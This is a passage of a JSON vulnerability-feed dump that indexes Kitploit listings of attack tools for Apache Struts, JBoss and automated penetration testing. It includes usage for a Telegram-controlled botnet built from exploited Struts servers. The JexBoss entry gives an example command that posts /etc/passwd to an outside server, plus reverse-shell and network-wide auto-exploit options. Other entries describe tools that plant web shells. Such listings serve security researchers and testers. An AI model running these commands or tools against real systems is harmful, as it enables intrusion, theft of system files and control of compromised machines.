7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-05-01T21:30:00", "type": "kitploit", "title": "Nginxpwner - Tool to look for common Nginx misconfigurations and vulnerabilities", "bulletinFamily": "tools", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2021-05-01T21:30:00", "id": "KITPLOIT:1524013824799763480", "href": "http://www.kitploit.com/2021/05/nginxpwner-tool-to-look-for-common.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-06-23T15:19:29", "description": "[](<https://2.bp.blogspot.com/-11EAxL668ng/WMfWw388UFI/AAAAAAAAHa8/FeOT6wUDm_s_Ro41Cs6Ttq7cMXH5BPATQCLcB/s1600/struts-pwn.png>)\n\n \n** An exploit for Apache Struts CVE-2017-5638** \n \n** ** Usage ** ** \n \n** Testing a single URL. ** \n\n \n \n python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'\n\n \n** Testing a list of URLs. ** \n\n \n \n python struts-pwn.py --list 'urls.txt' -c 'id'\n\n \n** Checking if the vulnerability exists against a single URL. ** \n\n \n \n python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'\n\n \n** Checking if the vulnerability exists against a list of URLs. ** \n\n \n \n python struts-pwn.py --check --list 'urls.txt'\n\n \n** ** Requirements ** ** \n\n\n * Python2 or Python3 \n * requests \n \n** ** Legal Disclaimer ** ** \nThis project is made for educational and ethical testing purposes only. Usage of struts-pwn for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. \n \n** ** Author ** ** \n_ Mazin Ahmed _ \n\n\n * Website: [ https://mazinahmed.net ](<https://mazinahmed.net/>)\n * Email: _ mazin AT mazinahmed DOT net _\n * Twitter: [ https://twitter.com/mazen160 ](<https://twitter.com/mazen160>)\n * Linkedin: [ http://linkedin.com/in/infosecmazinahmed](<http://linkedin.com/in/infosecmazinahmed>)\n \n\n\n** [ Download struts-pwn ](<https://github.com/mazen160/struts-pwn>) **\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-14T13:34:00", "type": "kitploit", "title": "struts-pwn - An exploit for Apache Struts CVE-2017-5638", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-14T13:34:05", "id": "KITPLOIT:1841841790447853746", "href": "http://www.kitploit.com/2017/03/struts-pwn-exploit-for-apache-struts.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-11T00:37:47", "description": "[](<https://4.bp.blogspot.com/-ueegtNhcGOM/WMtkR8p9hRI/AAAAAAAAHbo/eHq-bF-Q2GgzOPgzXd9XIaTs4L-JlNr7wCLcB/s1600/Struts2Shell.png>)\n\n \nImproves manipulation and sending commands to the vulnerable Apache Struts server using a shell. \n \n**Usage:** \n\n \n \n python Struts2Shell.py\n\n \n\n\n** [ Download Struts2Shell ](<https://github.com/s1kr10s/Struts2Shell>) **\n", "cvss3": {}, "published": "2017-03-17T14:22:00", "type": "kitploit", "title": "Struts2Shell - Interactive Shell Command to Exploit Apache Struts CVE-2017-5638", "bulletinFamily": "tools", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-17T14:22:01", "id": "KITPLOIT:2304674796555328667", "href": "http://www.kitploit.com/2017/03/struts2shell-interactive-shell-command.html", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-23T15:19:28", "description": "[](<https://2.bp.blogspot.com/-XZN2TA7nQZ0/WGSL3ia76KI/AAAAAAAAGuE/8pxmxtrizn8Yu1Y6iIArXYBgsL3Rhww3ACLcB/s1600/telegram-bot.png>)\n\n \nTelegram Bot to manage botnets created with struts vulnerability(CVE-2017-5638) \n \n** Dependencies ** \n\n \n \n pip install -r requeriments.txt \n\n \n** Config ** \n\n \n \n Create a telegram bot, save the API token in config/token.conf\n Create a telegram group, save the group id in config/group.conf\n\n \n** Start ** \npython strutszeiro.py \n \n** Telegram Usage ** \n\n \n \n /add url - test vulnerability and add the new server\n /exploit url *cmd - execute commands in a specific server (you need to use the * caracter)\n /botnet cmd - execute commands in all servers\n /list - show all servers in botnet\n /total - show total of servers in botnet\n\nThanks to [ @btamburi ](<https://twitter.com/BrenoTamburi>) \n \n \n\n\n** [ Download strutszeiro ](<https://github.com/mthbernardes/strutszeiro>) **\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-14T17:30:00", "type": "kitploit", "title": "strutszeiro - Telegram Bot to manage botnets created with struts vulnerability (CVE-2017-5638)", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-14T17:30:13", "id": "KITPLOIT:9079806502812490909", "href": "http://www.kitploit.com/2017/03/strutszeiro-telegram-bot-to-manage.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-23T15:18:09", "description": " \n\n\n[](<https://3.bp.blogspot.com/-MKbYVQXvBz0/W4LReq3_cJI/AAAAAAAAMQ0/WgNhU5_o5cIwFs69p3T2YIf3xObo_rAtgCLcBGAs/s1600/Apache-Struts-v3_1_screen.png>)\n\n \nScript contains the fusion of 3 RCE vulnerabilities on ApacheStruts, it also has the ability to create server shells. \n \n**SHELL** \n**php** `finished` \n**jsp** `process` \n \n**CVE ADD** \n**CVE-2013-2251** `'action:', 'redirect:' and 'redirectAction'` \n**CVE-2017-5638** `Content-Type` \n**CVE-2018-11776** `'redirect:' and 'redirectAction'` \n \n \n\n\n**[Download Apache-Struts-v3](<https://github.com/s1kr10s/Apache-Struts-v3>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-08-26T21:14:00", "type": "kitploit", "title": "Apache Struts v3 - Tool To Exploit 3 RCE Vulnerabilities On ApacheStruts", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-2251", "CVE-2017-5638", "CVE-2018-11776"], "modified": "2018-08-26T21:14:01", "id": "KITPLOIT:4611207874033525364", "href": "http://www.kitploit.com/2018/08/apache-struts-v3-tool-to-exploit-3-rce.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-23T15:18:52", "description": "JexBoss is a tool for testing and exploiting [vulnerabilities](<https://www.kitploit.com/search/label/vulnerabilities>) in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc. \n \n**Requirements** \n\n\n * Python >= 2.7.x\n * [urllib3](<https://pypi.python.org/pypi/urllib3>)\n * [ipaddress](<https://pypi.python.org/pypi/ipaddress>)\n \n**Installation on Linux\\Mac** \nTo install the latest version of JexBoss, please use the following commands: \n\n \n \n git clone https://github.com/joaomatosf/jexboss.git\n cd jexboss\n pip install -r requires.txt\n python jexboss.py -h\n python jexboss.py -host http://target_host:8080\n \n OR:\n \n Download the latest version at: https://github.com/joaomatosf/jexboss/archive/master.zip\n unzip master.zip\n cd jexboss-master\n pip install -r requires.txt\n python jexboss.py -h\n python jexboss.py -host http://target_host:8080\n\nIf you are using CentOS with Python 2.6, please install Python2.7. Installation example of the Python 2.7 on CentOS using Collections Software scl: \n\n \n \n yum -y install centos-release-scl\n yum -y install python27\n scl enable python27 bash\n\n \n**Installation on Windows** \nIf you are using Windows, you can use the [Git Bash](<https://github.com/git-for-windows/git/releases/tag/v2.10.1.windows.1>) to run the JexBoss. Follow the steps below: \n\n\n * Download and install [Python](<https://www.python.org/downloads/release/python-2712/>)\n * Download and install [Git for Windows](<https://github.com/git-for-windows/git/releases/tag/v2.10.1.windows.1>)\n * After installing, run the Git for Windows and type the following commands:\n \n \n PATH=$PATH:C:\\Python27\\\n PATH=$PATH:C:\\Python27\\Scripts\n git clone https://github.com/joaomatosf/jexboss.git\n cd jexboss\n pip install -r requires.txt\n python jexboss.py -h\n python jexboss.py -host http://target_host:8080\n \n\n \n**Features** \nThe tool and [exploits](<https://www.kitploit.com/search/label/Exploits>) were developed and tested for: \n\n\n * JBoss Application Server versions: 3, 4, 5 and 6.\n * Java Deserialization Vulnerabilities in multiple java frameworks, platforms and applications (e.g., Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735), etc)\nThe exploitation vectors are: \n\n\n * /admin-console\n * tested and working in JBoss versions 5 and 6\n * /jmx-console\n * tested and working in JBoss versions 4, 5 and 6\n * /web-console/Invoker\n * tested and working in JBoss versions 4, 5 and 6\n * /invoker/JMXInvokerServlet\n * tested and working in JBoss versions 4, 5 and 6\n * Application Deserialization\n * tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters\n * Servlet Deserialization\n * tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an \"Invoker\" in a link)\n * Apache Struts2 CVE-2017-5638\n * tested in [Apache Struts](<https://www.kitploit.com/search/label/Apache%20Struts>) 2 applications\n * Others\n \n**Videos** \n\n\n * Exploiting Java Deserialization Vulnerabilities (RCE) on JSF/Seam Applications via javax.faces.ViewState with JexBoss\n\n \n\n\n * Exploiting JBoss Application Server with JexBoss\n\n \n\n\n * Exploiting Apache Struts2 (RCE) with Jexboss (CVE-2017-5638)\n\n \n \n**Screenshots** \n\n\n * Simple usage examples:\n \n \n $ python jexboss.py\n\n \n\n\n[](<https://2.bp.blogspot.com/-alewUh8TXc0/Wi9wFJdgWpI/AAAAAAAAJo4/87dRBMNedWgmHohXnwzK2I0FJgcN0zBpwCLcBGAs/s1600/jexboss_4_simple_usage_help.png>)\n\n \n\n\n * Example of standalone mode against JBoss:\n \n \n $ python jexboss.py -u http://192.168.0.26:8080\n\n \n\n\n[](<https://3.bp.blogspot.com/-fvaYj-MWERY/Wi9wOYLDowI/AAAAAAAAJpA/5tecs4RFkyouaO4sQ20qq5gIgeHoc_VrgCLcBGAs/s1600/jexboss_5_standalone_mode1.png>)\n\n \n\n\n[](<https://4.bp.blogspot.com/-ERfHzmOvIpE/Wi9wOQNN7EI/AAAAAAAAJo8/sng_9BGOMLo7wSDXuCz-7XyIKxkgkl6VwCLcBGAs/s1600/jexboss_6_standalone_mode2.png>)\n\n * Usage modes:\n \n \n $ python jexboss.py -h\n\n * Network scan mode:\n \n \n $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt\n\n \n\n\n[](<https://4.bp.blogspot.com/-Hlq5rVHgHfI/Wi9wU1Z_sdI/AAAAAAAAJpE/Ep3uvTm2nM4A_doi2mJttKnPP3aqxM56gCLcBGAs/s1600/jexboss_7_network_scan_mode.png>)\n\n \n\n\n * Network scan with auto-exploit mode:\n \n \n $ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt\n\n \n\n\n[](<https://1.bp.blogspot.com/-OFuKod1ko5Q/Wi9wb07NaYI/AAAAAAAAJpI/DR6ESX-6VikK_zs7vDilROlUvaLzEykrACLcBGAs/s1600/jexboss_8_scan_with_auto_exploit_mode.png>)\n\n \n\n\n * Results and recommendations:\n\n[](<https://3.bp.blogspot.com/-a6A8GBdXzWw/Wi9wgd_s8gI/AAAAAAAAJpM/XarXTIL4-wUMpFJwIr-Q9wOYkil5w76vQCLcBGAs/s1600/jexboss_9_results_and_recommendations2.png>)\n\n \n \n**Reverse Shell (meterpreter integration)** \nAfter you exploit a JBoss server, you can use the own [jexboss](<https://www.kitploit.com/search/label/JexBoss>) command shell or perform a reverse connection using the following command: \n\n \n \n jexremote=YOUR_IP:YOUR_PORT\n \n Example:\n Shell>jexremote=192.168.0.10:4444\n\n * Example: [](<https://github.com/joaomatosf/jexboss/raw/master/screenshots/jexbossreverse2.jpg>)\n\n[](<https://4.bp.blogspot.com/-DTLzz6fknAc/Wi9wlav0sMI/AAAAAAAAJpQ/Au8e57VCaooIR0iX0fH3qqPHYZvsrDHoQCLcBGAs/s1600/jexboss_10_jexbossreverse2.jpeg>)\n\n \n\n\nWhen exploiting java deserialization [vulnerabilities](<https://www.kitploit.com/search/label/vulnerabilities>) (Application Deserialization, Servlet Deserialization), the default options are: make a reverse shell connection or send a commando to execute. \n \n**Usage examples** \n\n\n * For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server:\n \n \n $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'\n\n * For Java Deserialization Vulnerabilities in a custom HTTP parameter and to make a reverse shell (this will ask for an IP address and port of your remote host):\n \n \n $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name\n\n * For Java Deserialization Vulnerabilities in a Servlet (like Invoker):\n \n \n $ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize\n\n * For [Apache Struts](<https://www.kitploit.com/search/label/Apache%20Struts>) 2 (CVE-2017-5638)\n \n \n $ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2\n\n * For [Apache Struts](<https://www.kitploit.com/search/label/Apache%20Struts>) 2 (CVE-2017-5638) with [cookies](<https://www.kitploit.com/search/label/Cookies>) for authenticated resources\n \n \n $ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies \"JSESSIONID=24517D9075136F202DCE20E9C89D424D\"\n\n * Auto scan mode:\n \n \n $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log\n\n * File scan mode:\n \n \n $ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log\n\n * More Options:\n \n \n optional arguments:\n -h, --help show this help message and exit\n --version show program's version number and exit\n --auto-exploit, -A Send exploit code automatically (USE ONLY IF YOU HAVE\n PERMISSION!!!)\n --disable-check-updates, -D\n Disable two updates checks: 1) Check for updates\n performed by the webshell in exploited server at\n http://webshell.jexboss.net/jsp_version.txt and 2)\n check for updates performed by the jexboss client at\n http://joaomatosf.com/rnp/releases.txt\n -mode {standalone,auto-scan,file-scan}\n Operation mode (DEFAULT: standalone)\n --app-unserialize, -j\n Check for java unserialization vulnerabilities in HTTP\n parameters (eg. javax.faces.ViewState, oldFormData,\n etc)\n --servlet-unserialize, -l\n Check for java unserialization vulnerabilities in\n Servlets (like Invoker interfaces)\n --jboss Check only for JBOSS vectors.\n --jenkins Check only for Jenkins CLI vector.\n --jmxtomcat Check JMX JmxRemoteLifecycleListener in Tomcat\n (CVE-2016-8735 and CVE-2016-8735). OBS: Will not be\n checked by default.\n --proxy PROXY, -P PROXY\n Use a http proxy to connect to the target URL (eg. -P\n http://192.168.0.1:3128)\n --proxy-cred LOGIN:PASS, -L LOGIN:PASS\n Proxy authentication credentials (eg -L name:password)\n --jboss-login LOGIN:PASS, -J LOGIN:PASS\n JBoss login and password for exploit admin-console in\n JBoss 5 and JBoss 6 (default: admin:admin)\n --timeout TIMEOUT Seconds to wait before timeout connection (default 3)\n \n Standalone mode:\n -host HOST, -u HOST Host address to be checked (eg. -u\n http://192.168.0.10:8080)\n \n Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER):\n --reverse-host RHOST:RPORT, -r RHOST:RPORT\n Remote host address and port for reverse shell when\n exploiting Java Deserialization Vulnerabilities in\n application layer (for now, working only against *nix\n systems)(eg. 192.168.0.10:1331)\n --cmd CMD, -x CMD Send specific command to run on target (eg. curl -d\n @/etc/passwd http://your_server)\n --windows, -w Specifies that the commands are for rWINDOWS System$\n (cmd.exe)\n --post-parameter PARAMETER, -H PARAMETER\n Specify the parameter to find and inject serialized\n objects into it. (egs. -H javax.faces.ViewState or -H\n oldFormData (<- Hi PayPal =X) or others) (DEFAULT:\n javax.faces.ViewState)\n --show-payload, -t Print the generated payload.\n --gadget {commons-collections3.1,commons-collections4.0,groovy1}\n Specify the type of Gadget to generate the payload\n automatically. (DEFAULT: commons-collections3.1 or\n groovy1 for JenKins)\n --load-gadget FILENAME\n Provide your own gadget from file (a java serialized\n object in RAW mode)\n --force, -F Force send java serialized gadgets to URL informed in\n -u parameter. This will send the payload in multiple\n formats (eg. RAW, GZIPED and BASE64) and with\n different Content-Types.\n \n Auto scan mode:\n -network NETWORK Network to be checked in CIDR format (eg. 10.0.0.0/8)\n -ports PORTS List of ports separated by commas to be checked for\n each host (eg. 8080,8443,8888,80,443)\n -results FILENAME File name to store the auto scan results\n \n File scan mode:\n -file FILENAME_HOSTS Filename with host list to be scanned (one host per\n line)\n -out FILENAME_RESULTS\n File name to store the file scan results\n \n\n \n \n\n\n**[Download JexBoss](<https://github.com/joaomatosf/jexboss>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-12-18T21:12:00", "type": "kitploit", "title": "JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-5317", "CVE-2016-3427", "CVE-2016-8735", "CVE-2017-5638"], "modified": "2017-12-18T21:14:35", "id": "KITPLOIT:5230099254245458698", "href": "http://www.kitploit.com/2017/12/jexboss-jboss-and-others-java.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-23T15:18:18", "description": "[](<https://4.bp.blogspot.com/-P3_9VWnPhLw/WzvPRBF6q3I/AAAAAAAALtk/nE4XtcDGmXELo4KLTzEDoCiNMEgF0VJAACLcBGAs/s1600/Sn1per_1_Sn1per.jpeg>)\n\n \n\n\nSn1per Community Edition is an [automated scanner](<https://www.kitploit.com/search/label/Automated%20scanner>) that can be used during a [penetration test](<https://www.kitploit.com/search/label/Penetration%20Test>) to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes.\n\n \n**SN1PER PROFESSIONAL FEATURES:** \n \n**Professional reporting interface** \n \n\n\n[](<https://3.bp.blogspot.com/-CUaHGxKs7i8/WzvPDvnvnUI/AAAAAAAALtg/6NzvIUFvET0YO8X9SXkxbSXD51R9dgn_QCLcBGAs/s1600/Sn1per_8.png>)\n\n \n**Slideshow for all gathered screenshots** \n \n\n\n[](<https://3.bp.blogspot.com/-ElnqBSUrveU/WzvPZw0s4FI/AAAAAAAALto/xOUximDoNkMni5XhkzmMDnI9caTUWdo3gCLcBGAs/s1600/Sn1per_9.png>)\n\n \n**Searchable and sortable DNS, IP and open port database** \n \n\n\n[](<https://3.bp.blogspot.com/-U5MHC2iK1ag/WzvPfoIz6nI/AAAAAAAALts/m-GOz4roSSEhYjSeZgakgEJxo4-xCSlIQCLcBGAs/s1600/Sn1per_10.png>)\n\n \n \n**Categorized host reports** \n \n\n\n[](<https://4.bp.blogspot.com/-b82btbNLylE/WzvPj6ds37I/AAAAAAAALt0/KgxDw1g6rCgCuDamA3v_GBIHTAs-No2DwCLcBGAs/s1600/Sn1per_11.png>)\n\n \n \n**Quick links to online recon tools and Google hacking queries** \n \n\n\n[](<https://4.bp.blogspot.com/-eB0eLBg1-Xs/WzvPsgtbmGI/AAAAAAAALt8/FSkOuUJlOb0YXRetzL4TYbuLeOmRaQtOwCLcBGAs/s1600/Sn1per_12.png>)\n\n \n**Personalized notes field for each host** \n \n\n\n[](<https://1.bp.blogspot.com/-4SndSkZX88U/WzvPxUain4I/AAAAAAAALuE/x7ZucGGcTPIOGerWwlbWvXrFVosouiOhwCLcBGAs/s1600/Sn1per_13.png>)\n\n \n \n**DEMO VIDEO:** \n[](<https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm>) \n \n**SN1PER COMMUNITY FEATURES:** \n\n\n * * Automatically collects basic recon (ie. whois, ping, DNS, etc.)\n * Automatically launches Google hacking queries against a target domain\n * Automatically enumerates open ports via NMap port scanning\n * Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers\n * Automatically checks for sub-domain hijacking\n * Automatically runs targeted NMap scripts against open ports\n * Automatically runs targeted Metasploit scan and exploit modules\n * Automatically scans all web applications for common vulnerabilities\n * Automatically brute forces ALL open services\n * Automatically test for anonymous FTP access\n * Automatically runs WPScan, Arachni and Nikto for all web services\n * Automatically enumerates NFS shares\n * Automatically test for anonymous LDAP access\n * Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities\n * Automatically enumerate SNMP community strings, services and users\n * Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067\n * Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers\n * Automatically tests for open X11 servers\n * Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds\n * Performs high level enumeration of multiple hosts and subnets\n * Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting\n * Automatically gathers screenshots of all web sites\n * Create individual workspaces to store all scan output\n \n**AUTO-PWN:** \n\n\n * Drupal Drupalgedon2 RCE CVE-2018-7600\n * GPON Router RCE CVE-2018-10561\n * [Apache Struts](<https://www.kitploit.com/search/label/Apache%20Struts>) 2 RCE CVE-2017-5638\n * Apache Struts 2 RCE CVE-2017-9805\n * Apache Jakarta RCE CVE-2017-5638\n * Shellshock GNU Bash RCE CVE-2014-6271\n * HeartBleed OpenSSL Detection CVE-2014-0160\n * Default Apache Tomcat Creds CVE-2009-3843\n * MS Windows SMB RCE MS08-067\n * Webmin File Disclosure CVE-2006-3392\n * [Anonymous FTP](<https://www.kitploit.com/search/label/Anonymous%20FTP>) Access\n * PHPMyAdmin Backdoor RCE\n * PHPMyAdmin Auth Bypass\n * JBoss Java De-Serialization RCE's\n \n**KALI LINUX INSTALL:** \n\n \n \n ./install.sh\n\n \n**DOCKER INSTALL:** \nCredits: @menzow \nDocker Install: <https://github.com/menzow/sn1per-docker> \nDocker Build: <https://hub.docker.com/r/menzo/sn1per-docker/builds/bqez3h7hwfun4odgd2axvn4/> \nExample usage: \n\n \n \n $ docker pull menzo/sn1per-docker\n $ docker run --rm -ti menzo/sn1per-docker sniper menzo.io\n\n \n**USAGE:** \n\n \n \n [*] NORMAL MODE\n sniper -t|--target <TARGET>\n \n [*] NORMAL MODE + OSINT + RECON\n sniper -t|--target <TARGET> -o|--osint -re|--recon\n \n [*] STEALTH MODE + OSINT + RECON\n sniper -t|--target <TARGET> -m|--mode stealth -o|--osint -re|--recon\n \n [*] DISCOVER MODE\n sniper -t|--target <CIDR> -m|--mode discover -w|--workspace <WORSPACE_ALIAS>\n \n [*] SCAN ONLY SPECIFIC PORT\n sniper -t|--target <TARGET> -m port -p|--port <portnum>\n \n [*] FULLPORTONLY SCAN MODE\n sniper -t|--target <TARGET> -fp|--fullportonly\n \n [*] PORT SCAN MODE\n sniper -t|--target <TARGET> -m|--mode port -p|--port <PORT_NUM>\n \n [*] WEB MODE - PORT 80 + 443 ONLY!\n sniper -t|--target <TARGET> -m|--mode web\n \n [*] HTTP WEB PORT MODE\n sniper -t|--target <TARGET> -m|--mode webporthttp -p|--port <port>\n \n [*] HTTPS WEB PORT MODE\n sniper -t|--target <TARGET> -m|--mode webporthttps -p|--port <port>\n \n [*] ENABLE BRUTEFORCE\n sniper -t|--target <TARGET> -b|--bruteforce\n \n [*] AIRSTRIKE MODE\n sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike\n \n [*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED\n sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace <WORKSPACE_ALIAS>\n \n [*] ENABLE LOOT IMPORTING INTO METASPLOIT\n sniper -t|--target <TARGET>\n \n [*] LOOT REIMPORT FUNCTION\n sniper -w <WORKSPACE_ALIAS> --reimport\n \n [*] UPDATE SNIPER\n sniper -u|--update\n\n \n**MODES:** \n\n\n * **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance.\n * **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking.\n * **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.\n * **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.\n * **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans.\n * **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode.\n * **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML.\n * **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.\n * **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port.\n * **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port.\n * **UPDATE:** Checks for updates and upgrades all components used by sniper.\n * **REIMPORT:** Reimport all workspace files into Metasploit and reproduce all reports.\n * **RELOAD:** Reload the master workspace report.\n \n**SAMPLE REPORT:** \n<https://gist.github.com/1N3/8214ec2da2c91691bcbc> \n \n \n\n\n**[Download Sn1per v5.0](<https://github.com/1N3/Sn1per>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": 